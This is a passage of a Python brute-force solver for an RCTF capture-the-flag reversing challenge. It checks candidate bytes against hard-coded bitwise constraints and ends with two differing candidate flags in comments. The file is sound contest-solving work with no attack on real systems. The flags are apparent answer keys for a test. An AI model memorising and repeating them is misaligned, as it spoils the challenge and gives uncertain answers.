                                                                                                if ( ((v19 ^ v17) - v18)&0xffffffffffffff) == (0x1551566F3C6485ED&0xffffffffffffff):
                                                                                                    if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffffffff) == ( 0x40836ECAB9A&0xffffffffffffff):
                                                                                                        for i6 in range(0x12,128):
                                                                                                            v23=0x6d61657971007000+i1
                                                                                                            v24=0x5200007b75005473
                                                                                                            v25=0x00706a004674437d
                                                                                                            v23+=(i2<<16)
                                                                                                            v24+=((i2-0x12)<<16)
                                                                                                            v25+=(i3<<32)
                                                                                                            v24+=(i4<<40)
                                                                                                            v24+=(i5<<48)
                                                                                                            v25+=(i6<<56)
                                                                                                            v20 = v24 & v23
                                                                                                            v19 = (v24 & v23 | v25 & v23) + 0x10086
                                                                                                            v18 = (v25 & v23 ^ v25 & v24) - 0x114514
                                                                                                            v17 = v24 & v23 ^ v25 & v23
                                                                                                            
                                                                                                            if ((v23 - v24)&0xffffffffffffffff) == (0x1AEFF6FDFC121BF1&0xffffffffffffffff):
                                                                                                                if ((v18 ^ (v19 - v20))&0xffffffffffffffff) == (0x2100A0203EFBB8B&0xffffffffffffffff):
                                                                                                                    if  ((v17 ^ v19 ^ v20)&0xffffffffffffffff) == (0x4083102108E&0xffffffffffffffff):
                                                                                                                        if ( ((v19 ^ v17) - v18)&0xffffffffffffffff) == (0x1551566F3C6485ED&0xffffffffffffffff):
                                                                                                                            if ( (v18 ^ v19 ^ v25 & v24)&0xffffffffffffffff) == ( 0x40836ECAB9A&0xffffffffffffffff):
                                                                                                                                print("byte1: "+chr(i1)+" "+hex(i1))
                                                                                                                                print("byte2: "+chr(i2)+" "+hex(i2))
                                                                                                                                print("byte3: "+chr(i2-0x12)+" "+hex(i2-0x12))
                                                                                                                                print("byte4: "+chr(i3)+" "+hex(i3))
                                                                                                                                print("byte5: "+chr(i4)+" "+hex(i4))
                                                                                                                                print("byte6: "+chr(i5)+" "+hex(i5))
                                                                                                                                print("byte7: "+chr(i6)+" "+hex(i6))

#RCTF{sj123emqsp4567tyua}
#RCTF{sjknwemqspsdaqtyua}